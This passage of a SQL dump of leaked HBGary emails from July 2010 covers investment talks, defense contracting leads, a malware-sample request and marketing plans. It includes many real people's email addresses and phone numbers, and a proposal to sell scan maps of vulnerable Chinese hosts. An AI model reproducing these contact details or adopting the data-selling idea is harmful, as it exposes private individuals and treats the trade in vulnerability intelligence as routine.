are on a very strong path for a startup company\r\nwe just need a little&nbsp;gap coverage and someone like Mantech might be able\r\nto help with that, it&nbsp;won\' t take much.\r\n\r\n\r\n\r\n\r\n\r\nIf you have questions or other specific things you would\r\nlike Ted or me to cover in the call please shoot them to us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSent from my iPad\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/16/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10563,'aaron_hbgary_com/10563.html'),(8732,'2010-07-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006690.M545819P14101Q3588.eml','all@hbgary.com','Bob on vacation. Back on Monday 7/26.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nHoping to get some rest and decompression.&nbsp; Penny (God bless\r\nher) will be my backup this week.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12845,'aaron_hbgary_com/12845.html'),(8733,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006690.M794501P14101Q3589.eml','contact@dlanham.com','FaceTime avatar','Dave,\r\n\r\nI saw your work on twitter.  I would really like to get my avatar done.\r\n\r\nThanks,\r\nCheck out our website.  HBGary.com.  Also on twitter and linkedin.\r\n\r\nAaron Barr\r\n\r\nSent from my iPhone\r\n',976,'aaron_hbgary_com/976.html'),(8734,'2010-07-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006690.M93489P14101Q3586.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Future','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBlackbird would not be interested.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, July 17, 2010 10:41 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy-Hoglund; Ted Vera\r\nSubject: Re: Future\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOf course we need to discuss - but outside investment might\r\nmake sense.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Jul 17, 2010 at 8:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIf it\'s the direction we choose, yes. ManTech is interested\r\nif we are.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 11:42 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we explore outside investment?&nbsp; That is, Mantech or\r\nBlackbird to name two?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 1:43 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nOK, sounds good\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Friday, July 16, 2010 12:17 PM\r\nTo: Penny Leavy-Hoglund\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: Greg Hoglund; Ted Vera\r\nSubject: Re: Future\r\n\r\nYep but your the majority stake holder so I wanted to get your thoughts\r\nfirst. &nbsp;A call next week would be good. &nbsp;I\'ll look to set something\r\nup\r\nbeginning of the week and see how it falls out.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 3:06 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n&gt; First, you have a board you need to work with so this isnt\' just a call\r\nwith\r\n&gt; me, it is with all investors. &nbsp;We can set up a time next week\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 11:03 AM\r\n&gt; To: Penny Leavy; Greg Hoglund\r\n&gt; Cc: Ted Vera\r\n&gt; Subject: Future\r\n&gt;\r\n&gt; Penny,\r\n&gt;\r\n&gt; Do you have time to talk about possible investment around HBGary Federal\r\n&gt; today? &nbsp;I am feeling pretty good about what we have lined up for the\r\nfall\r\n&gt; but we are going to have some gaps between now and then that I don\'t know\r\n&gt; how we make it through. &nbsp;If I had the money I would pour it in, and I\r\nknow\r\n&gt; Ted would as well, but we just don\'t. &nbsp;I have put in as much as I can\r\nbut\r\nam\r\n&gt; not personally strapped for cash to the point that if I miss another check\r\nI\r\n&gt; will be missing bills.\r\n&gt;\r\n&gt; On the positive side, our old work RFP is going to drop in August. &nbsp;I\r\nam\r\n&gt; extremely confident about this work. &nbsp;I met with my buddy who runs\r\nthis\r\nfor\r\n&gt; the government and he really wants us back in there. &nbsp;We have put\r\ntogether\r\n&gt; an unbelievable team.\r\n&gt;\r\n&gt; NG Xetron called me yesterday, they are having staffing problems for some\r\nof\r\n&gt; their classified IO work, I am hoping we can staff some of those positions\r\n&gt; soon.\r\n&gt;\r\n&gt; Mantech has had me sign 3 NDAs and said that we have capabilities that can\r\n&gt; support existing work, we are also going after Gatorbait as a sub to them\r\n&gt; (they are the incumbent). &nbsp;If they win the FBI ESOC work they want to\r\ntalk\r\n&gt; about how we can help them out.\r\n&gt;\r\n&gt;\r\n&gt; The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n&gt; demos to his staff and then afterwards they are going to the beach\r\ntogether.\r\n&gt; (wink wink nudge nudge know what I mean).\r\n&gt;\r\n&gt; I am not participating in some very senior small groups in cyber and\r\ngetting\r\n&gt; senior level government access. &nbsp;While this doesn\'t directly\r\ntranslate to\r\n&gt; work. &nbsp;In my process of discussion of cyber problems I mention HBGary\r\nand\r\n&gt; HBGary Fed capabilities regularly. &nbsp;That can not be bad thing.\r\n&nbsp;Example\r\nout\r\n&gt; of the 4 hour meeting yesterday I probably had the mic for about 90\r\nminutes\r\n&gt; and managed to mention all of our capabilities within the context of\r\nsolving\r\n&gt; tough problems.\r\n&gt; CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n&gt; Social Media, and Influence of local populations. (REALLY!!!!)\r\n&gt;\r\n&gt; So we are on a very strong path for a startup company we just need a\r\nlittle\r\n&gt; gap coverage and someone like Mantech might be able to help with that, it\r\n&gt; won\' t take much.\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13588,'aaron_hbgary_com/13588.html'),(8735,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006691.M300342P14101Q3591.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fingerprint tool','Greg,\r\n\r\nYou and Karen may already be talking down these lines but there is a lot of prep or u can do prior to blackhat to stack an eager audience.  The government will be all over this.  The email I sent out yesterday was just as much about getting some interest in the DIB as it was to seek malware.  The second email I sent out had people like rich haver and bill studeman on it (google them).  Attribution is a top priority.  If you marry this methodology with open source and intel... Good stuff happens.\r\n\r\nAaron\r\n\r\nSent from my iPhone',12095,'aaron_hbgary_com/12095.html'),(8736,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006691.M548261P14101Q3592.eml','\"Greg Hoglund\" <greg@hbgary.com>','Gargoyle','Not sure of the components.  Any parts of it we can use to scrape social media services?\r\n\r\nSent from my iPhone',9282,'aaron_hbgary_com/9282.html'),(8737,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006691.M61547P14101Q3590.eml','\"Aaron Barr\" <adbarr@mac.com>','@mashable, 7/17/10 3:11 PM','Pete Cashmore (@mashable)7/17/10 3:11 PMFaceTime + $50 = Awesome Personalized Avatar - http://ow.ly/2cTwpSent with Twitter for iPhoneSent from my iPhone',13076,'aaron_hbgary_com/13076.html'),(8738,'2010-07-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006691.M766247P14101Q3593.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','some marketing stuff',' \r\nHere are some marketing ideas, some from Penny this morning.  The monthly video is something I have been talking about doing for about a year now.. these are all good ideas i think..\r\n \r\n\r\nEmerging Threats Update for &lt;fill in month&gt;\r\n- goal, 5 minutes (video)\r\n- cover at least one new IPI (initial point of infection) in use / detected in last 30 days\r\n                Note: this should not be hard, it&#39;s based on Mike Spohns in-field operations and what has been picked up in managed services.  Phil has already been able identify these and has even blogged about them a few times.  We can also draw upon exploits / vulns that have been reported in the last 90 days that we have detected in the wild.  If we can&#39;t find a good in-the-wild exploit, we can setup a staged demo and walk-thru the attack showing how it might work, once it&#39;s adopted.  To were covered in all cases.  Spend about 20% of the broadcast on this (make it quick).\r\n\r\n- cover the recent activities of at least one code-named threat group\r\nDescribe what they are targeting, and how you would detect them.  Describe the kinds of behaviors / forensic evidence / malware tools that will be present when this threat is seen.  Describe any new behaviors or updates that have been made in their tools or behaviors in the last 6 months.  We can already do a good job on this for the &#39;soysauce&#39; group, but we need to have around a dozen groups to track this way - we really need to leverage our relationships with the DoD and intel community, and potentially commercial as well, to get this information.  Spend over 50% of the broadcast on this.  Most of this isn&#39;t based on technical input, but rather talking to people and finding out what has been most recent, and getting some investigative data on the attacks.  This would depend alot on relationships in the community.\r\n\r\n \r\nWhitepaper on &quot;Continuous Monitoring for Targeted Cyber Threats&quot;\r\n- refactored version of the AD whitepaper positioned around implementing continuous monitoring\r\n \r\nBook: &quot;Advanced Persistent Threat&quot; - a book about who they are, how they work, and how you defend against them - (not a malware RE book).  Aaron and I write this together?\r\n\r\n \r\nLunch and Learns (around DC area?) hosted by Aaron/HBGary.\r\n \r\n \r\n \r\n',10206,'aaron_hbgary_com/10206.html'),(8739,'2010-07-18','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297006691.M973475P14101Q3594.eml','aaron@hbgary.com','Delivery Status Notification (Delay)','This is an automatically generated Delivery Status Notification\r\n\r\nTHIS IS A WARNING MESSAGE ONLY.\r\n\r\nYOU DO NOT NEED TO RESEND YOUR MESSAGE.\r\n\r\nDelivery to the following recipient has been delayed:\r\n\r\n     chris@endgame.us\r\n\r\nMessage will be retried for 2 more day(s)\r\n\r\nTechnical details of temporary failure: \r\nThe recipient server did not accept our requests to connect. Learn more at http://mail.google.com/support/bin/answer.py?answer=7720 \r\n[endgame.us (1): Connection timed out]\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.151.13.12 with SMTP id q12mr2484129ybi.73.1279333636491;\r\n        Fri, 16 Jul 2010 19:27:16 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [10.0.1.2] (ip98-169-65-80.dc.dc.cox.net [98.169.65.80])\r\n        by mx.google.com with ESMTPS id q21sm1225688ybk.3.2010.07.16.19.27.12\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Fri, 16 Jul 2010 19:27:15 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-753-378721266; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nDate: Fri, 16 Jul 2010 22:27:11 -0400\r\nSubject: Attribution\r\nTo: Aaron Barr \r\nMessage-Id: \r\nMime-Version: 1.0 (Apple Message framework v1081)\r\nX-Mailer: Apple Mail (2.1081)\r\n\r\nI am sending this request to a small group of individuals.  Please do not forward this email to third parties.  HBGary is working hard to help solve the attribution problem.  We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below. These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you can imagine combining this data with open source and intelligence data.  I can see attribution as potentially a solvable problem.  We need your malware samples, as many as you can provide.  This is not something we are looking to profit from directly, we will be giving this tool away at Blackhat, so helping us improve the tool will help the community beat back the threat.  If possible please have your representative CISOs or cybersecurity personnel send malware samples in a password protected zip file.  Provide the password via phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon as possible.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America\'s networks. \r\n\r\n\r\n',11967,'aaron_hbgary_com/11967.html'),(8740,'2010-07-18','\"David Lanham\" <contact@dlanham.com>','/aaron@hbgary.com/new/1297006692.M339227P14101Q3595.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FaceTime avatar','Thank you for the mail, I\'m really glad you\'re interested in the portrait drawing and my work!&nbsp;&nbsp;The portraits have recently been getting a lot of exposure and interest so please understand there\'s a considerable backlog at the moment and I\'m only doing the portraits in my freetime after work. Each portrait is hand drawn on paper during our chat (usually taking about 10 minutes) and then I redraw and colorize the sketch digitally for the final artwork within 3-5 days if possible.The charge for each portrait is $50 per person for a large digital copy or $75 with mailed 5x7 inch giclée printed on archival paper. PayPal payment can be sent to this address before or during the sketch.&nbsp;&nbsp;I\'d rather not work from&nbsp;photos only as this time unless it\'s absolutely necessary, the end result just isn\'t as good.I\'m currently taking reservations on a first come, first serve basis, 1 or 2 people per day. International is fine as long as you can make the times below, no additional shipping charges unless you want it expedited.If you\'re interested please provide the following information:•&nbsp;Preferable date : Any day after September 7•&nbsp;Preferable time:&nbsp;&nbsp;Weekdays, 7:30pm through 10pm EST ; Saturday, 2pm through 10pm EST (GMT -5)•&nbsp;Contact method and details: FaceTime, iChat or Skype• Mailing address if you would like a printThank you so much again, I really appreciate the interest and support (and patience :P)!David--------------------------David Lanhamdlanham.com\r\n\r\nOn Jul 17, 2010, at 3:38 PM, Aaron Barr wrote:Dave,I saw your work on twitter. &nbsp;I would really like to get my avatar done.Thanks,Check out our website. &nbsp;HBGary.com. &nbsp;Also on twitter and linkedin.Aaron BarrSent from my iPhone',2766,'aaron_hbgary_com/2766.html'),(8741,'2010-07-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006692.M566576P14101Q3596.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','big maps of china','Aaron,\r\nwell - we have huuuuge maps of china&#39;s internet now - including the version of every app detected, and also if the target is vulnerable to a known exploit.  What can we do with this?  Can we sell it or the data?\r\n\r\n \r\n-Greg\r\n',11663,'aaron_hbgary_com/11663.html'),(8742,'2010-07-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006692.M779206P14101Q3597.eml','\"David Lanham\" <contact@dlanham.com>','Re: FaceTime avatar','Dave,Great. &nbsp;How about Sept 8th or 9th @ 9pm via FaceTime.AaronSent from my iPhoneOn Jul 18, 2010, at 1:48 PM, David Lanham &lt;contact@dlanham.com&gt; wrote:Thank you for the mail, I\'m really glad you\'re interested in the portrait drawing and my work!&nbsp;&nbsp;The portraits have recently been getting a lot of exposure and interest so please understand there\'s a considerable backlog at the moment and I\'m only doing the portraits in my freetime after work. Each portrait is hand drawn on paper during our chat (usually taking about 10 minutes) and then I redraw and colorize the sketch digitally for the final artwork within 3-5 days if possible.The charge for each portrait is $50 per person for a large digital copy or $75 with mailed 5x7 inch giclée printed on archival paper. PayPal payment can be sent to this address before or during the sketch.&nbsp;&nbsp;I\'d rather not work from&nbsp;photos only as this time unless it\'s absolutely necessary, the end result just isn\'t as good.I\'m currently taking reservations on a first come, first serve basis, 1 or 2 people per day. International is fine as long as you can make the times below, no additional shipping charges unless you want it expedited.If you\'re interested please provide the following information:•&nbsp;Preferable date : Any day after September 7•&nbsp;Preferable time:&nbsp;&nbsp;Weekdays, 7:30pm through 10pm EST ; Saturday, 2pm through 10pm EST (GMT -5)•&nbsp;Contact method and details: FaceTime, iChat or Skype• Mailing address if you would like a printThank you so much again, I really appreciate the interest and support (and patience :P)!David--------------------------David Lanhamdlanham.com\r\n\r\nOn Jul 17, 2010, at 3:38 PM, Aaron Barr wrote:Dave,I saw your work on twitter. &nbsp;I would really like to get my avatar done.Thanks,Check out our website. &nbsp;HBGary.com. &nbsp;Also on twitter and linkedin.Aaron BarrSent from my iPhone',16130,'aaron_hbgary_com/16130.html'),(8743,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006693.M213469P14101Q3599.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Outline for a book we could co-author on APT','I like the idea.  I would like a platform to discuss how we improve\r\ncybersecurity.  I old like to talk to you about process having never\r\nbeen through it.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 18, 2010, at 6:05 PM, Greg Hoglund  wrote:\r\n\r\n> See attached...\r\n>\r\n> -Greg\r\n> \r\n',13841,'aaron_hbgary_com/13841.html'),(8744,'2010-07-19','\"David Lanham\" <contact@dlanham.com>','/aaron@hbgary.com/new/1297006693.M426145P14101Q3600.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FaceTime avatar','Sounds great, thanks so much. You\'re in the schedule for Sept 8 at 9pmOn Jul 18, 2010, at 2:21 PM, Aaron Barr wrote:Dave,Great. &nbsp;How about Sept 8th or 9th @ 9pm via FaceTime.AaronSent from my iPhoneOn Jul 18, 2010, at 1:48 PM, David Lanham &lt;contact@dlanham.com&gt; wrote:Thank you for the mail, I\'m really glad you\'re interested in the portrait drawing and my work!&nbsp;&nbsp;The portraits have recently been getting a lot of exposure and interest so please understand there\'s a considerable backlog at the moment and I\'m only doing the portraits in my freetime after work. Each portrait is hand drawn on paper during our chat (usually taking about 10 minutes) and then I redraw and colorize the sketch digitally for the final artwork within 3-5 days if possible.The charge for each portrait is $50 per person for a large digital copy or $75 with mailed 5x7 inch giclée printed on archival paper. PayPal payment can be sent to this address before or during the sketch.&nbsp;&nbsp;I\'d rather not work from&nbsp;photos only as this time unless it\'s absolutely necessary, the end result just isn\'t as good.I\'m currently taking reservations on a first come, first serve basis, 1 or 2 people per day. International is fine as long as you can make the times below, no additional shipping charges unless you want it expedited.If you\'re interested please provide the following information:•&nbsp;Preferable date : Any day after September 7•&nbsp;Preferable time:&nbsp;&nbsp;Weekdays, 7:30pm through 10pm EST ; Saturday, 2pm through 10pm EST (GMT -5)•&nbsp;Contact method and details: FaceTime, iChat or Skype• Mailing address if you would like a printThank you so much again, I really appreciate the interest and support (and patience :P)!David--------------------------David Lanhamdlanham.com\r\n\r\nOn Jul 17, 2010, at 3:38 PM, Aaron Barr wrote:Dave,I saw your work on twitter. &nbsp;I would really like to get my avatar done.Thanks,Check out our website. &nbsp;HBGary.com. &nbsp;Also on twitter and linkedin.Aaron BarrSent from my iPhone',12665,'aaron_hbgary_com/12665.html'),(8745,'2010-07-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006693.M4570P14101Q3598.eml','\"Aaron Barr\" <aaron@hbgary.com>','Outline for a book we could co-author on APT','See attached..\r\n \r\n-Greg\r\n',7237,'aaron_hbgary_com/7237.html'),(8746,'2010-07-19','ed.gibson@us.pwc.com','/aaron@hbgary.com/new/1297006697.M290409P14101Q3601.eml','aaron@hbgary.com,shane.sims@us.pwc.com,aaron@hbgary.com','Re: Attribution','\r\nHi Aaron - \r\n\r\nAs Shane is our contact with your group\r\nI thought I would cc him directly to your mail.\r\n\r\nShane - \r\n\r\nPlease take a look at Aaron\'s email\r\nand see if this is something we can assist with.\r\n\r\nAaron - \r\nMy bio included for your ready reference.\r\n\r\nEd\r\nwww.linkedin.com/in/edthefed\r\n\r\n\r\n______________________________________________________________________________________________________________________________________________________\r\nEdward P Gibson | Director\r\n- Forensic Technology, McLean, VA 22102 | PricewaterhouseCoopers | Telephone:\r\n+1 703 918 3550 | Mobile: +1 703 789 5281 | ed.gibson@us.pwc.com\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\n&quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\n\r\nCc:\r\n&lt;alexander.miller@l-3com.com&gt;,\r\n&lt;barbara.g.fast@boeing.com&gt;, &lt;bill.phelps@accenture.com&gt;, &lt;bmalexia@rockwellcollins.com&gt;,\r\n&lt;ccpalmer@us.ibm.com&gt;, &lt;coxld@saic.com&gt;, &lt;david_joslin@federal.dell.com&gt;,\r\n&lt;dusty.wince@knowledgecg.com&gt;, Ed Gibson/US/FAS/PwC@Americas-US,\r\n&lt;gjg@mitre.org&gt;, &lt;jkoenig@harris.com&gt;, &lt;john.osterholz@baesystems.com&gt;,\r\n&lt;jpayne@telcordia.com&gt;, &lt;jreagan@deloitte.com&gt;, &lt;jwatters@isightpartners.com&gt;,\r\n&lt;kathy.warden@ngc.com&gt;, &lt;kenneth.sannicolas@stanleyassociates.com&gt;,\r\n&lt;lance.cottrell@abraxascorp.com&gt;, &lt;michael.fraser@usis.com&gt;,\r\n&lt;nadia.short@gd-ais.com&gt;, &lt;pat.burke@sra.com&gt;, &lt;rdix@juniper.net&gt;,\r\n&lt;rodney.joffe@neustar.biz&gt;, &lt;roger_anderson@appsig.com&gt;, &lt;samuel.chun@hp.com&gt;,\r\n&lt;scottmil@microsoft.com&gt;, &lt;shawn.carroll@qwest.com&gt;, &lt;skip.foote@americansystems.com&gt;,\r\n&lt;steve_k_hawkins@raytheon.com&gt;, &lt;svisner@csc.com&gt;, &lt;tiffany_jones@symantec.com&gt;,\r\n&lt;wcooper@cisco.com&gt;, &lt;zazmi@caci.com&gt;, &quot;Jim Garrettson&quot;\r\n&lt;jimg@executivebiz.com&gt;, &lt;jd@executivebiz.com&gt;, &quot;Jennifer\r\nJordan - Harrell&quot; &lt;jennifer@executivebiz.com&gt;\r\n\r\nDate:\r\n07/16/2010 09:45 PM\r\n\r\nSubject:\r\nAttribution\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI am sending this request to a small group of individuals. &nbsp;Please\r\ndo not forward this email to third parties. &nbsp;HBGary is working hard\r\nto solve the attribution problem. &nbsp;We have developed a fingerprint\r\ntool which extracts toolmarks left behind in malware executables. &nbsp;We\r\nuse these toolmarks to cluster exploits together which were compiled on\r\nthe same computer system or development environment. &nbsp;Notice the clusters\r\nin the graphic below. &nbsp;These groupings illustrate the relationships\r\nbetween over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool. &nbsp;Eventually\r\nyou can imagine combining this data with open source and intelligence data.\r\n&nbsp;I can see attribution as potentially a solvable problem. &nbsp;We\r\nneed your malware samples, as many as you can provide. &nbsp;This is not\r\nsomething we are looking to profit from directly, we will be giving this\r\ntool away at Blackhat, so helping us improve the tool will help the community\r\nbeat back the threat. &nbsp;If possible please have your representative\r\nCISOs or cybersecurity personnel send malware samples in a password protected\r\nzip file. &nbsp;Provide the password via phone 719-510-8478 or fax to:\r\n&nbsp;720-836-4208 we need your samples as soon as possible. &nbsp;Samples\r\nprovided will not be shared with third parties and your participation will\r\nbe held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of\r\nour findings and you will have made a significant contribution to securing\r\nAmerica\'s networks. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\n[attachment &quot;attribution.jpg&quot; deleted by Ed Gibson/US/FAS/PwC]\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nThe information transmitted, including any attachments, is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited, and all liability arising therefrom is disclaimed. If you received this in error, please contact the sender and delete the material from any computer. PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',11014,'aaron_hbgary_com/11014.html'),(8747,'2010-07-19','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006697.M605295P14101Q3602.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 1st IO contact','This is the person who someone had asked me if they were still around.  \r\nHe\'s definitely got a fair amount of contacts in 1st IO.\r\n\r\nOn 7/8/2010 11:13 PM, David Etue wrote:\r\n> Sorry it took me a few days to find Chuck\'s contact info.  I hadn\'t \r\n> been able to find his card, and apparently I hadn\'t entered in it \r\n> electronically.\r\n>\r\n> Chuck Abare\r\n> CEO, IT Fusion Experts\r\n> chuck.abare@it-fx.com\r\n> 703-997-2521\r\n> http://www.it-fx.com/homeFrame.php?page=2\r\n> http://twitter.com/ChuckAbare\r\n>\r\n> He was a Deputy S-6; 1st IO Command before founding IT-FX, which is a \r\n> SDVOSB.\r\n>\r\n> I\'m happy to make an introduction to him, or feel free to reach out \r\n> directly and mention me.\r\n>\r\n> David\r\n>\r\n',9247,'aaron_hbgary_com/9247.html'),(8748,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006697.M820770P14101Q3603.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','','\r\n\r\nhttp://news.cnet.com/8301-31001_3-20010877-261.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\n\r\nSent from my iPhone',5259,'aaron_hbgary_com/5259.html'),(8749,'2010-07-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006698.M347085P14101Q3605.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FW: Obama','Hi AaronWhen may I call you about TSA and DHS?Penny wants a high level meeting.MariaOn Fri, Jul 16, 2010 at 7:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nI need help getting to Janet ASAP.  TSA was slated to buy $800K Sept, this\r\nwas pushed out till Q2, do you know anyone??\r\n\r\n-----Original Message-----\r\nFrom: Gary McGraw [mailto:gem@cigital.com]\r\nSent: Friday, July 16, 2010 9:35 AM\r\nTo: Penny Hoglund; Greg Hoglund\r\nSubject: Obama\r\n\r\nI got to see Obama on Wednesday at the White House.  Most excellent...\r\n\r\nhttp://www.informit.com/articles/article.aspx?p=1617137\r\n\r\nhttp://www.cigital.com/justiceleague/2010/07/16/cigital-participates-in-whit\r\ne-house-discussion-on-the-progress-of-the-president%E2%80%99s-cybersecurity-\r\nefforts/\r\n\r\ngem\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',10535,'aaron_hbgary_com/10535.html'),(8750,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006698.M614346P14101Q3606.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Call Tom','July 19, 2010 8:00 AM : Call Tom ',13797,'aaron_hbgary_com/13797.html'),(8751,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006698.M898072P14101Q3607.eml','\"Ted Vera\" <ted@hbgary.com>','Re: TSA Opportunity','Bill,Any chance we could get together anytime today, tomorrow afternoon, or wednesday.  Wouldn&#39;t you know I scheduled by memory and picked the only time so far this week I actually have a scheduled meeting.\r\nAaronOn Wed, Jul 14, 2010 at 4:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: William Luti &lt;wluti@digitalmanagement.com&gt;\r\nDate: July 14, 2010 4:42:48 PM EDTTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: TSA Opportunity\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nTSA SOW as discussed. Please\r\ntake a look and see if your folks might fit the bill in some of these areas. \r\n\r\n \r\n\r\nAs always, good to talk with\r\nyou.\r\n\r\n \r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',10065,'aaron_hbgary_com/10065.html'),(8752,'2010-07-19','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006698.M95227P14101Q3604.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Lost the ball','How about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close 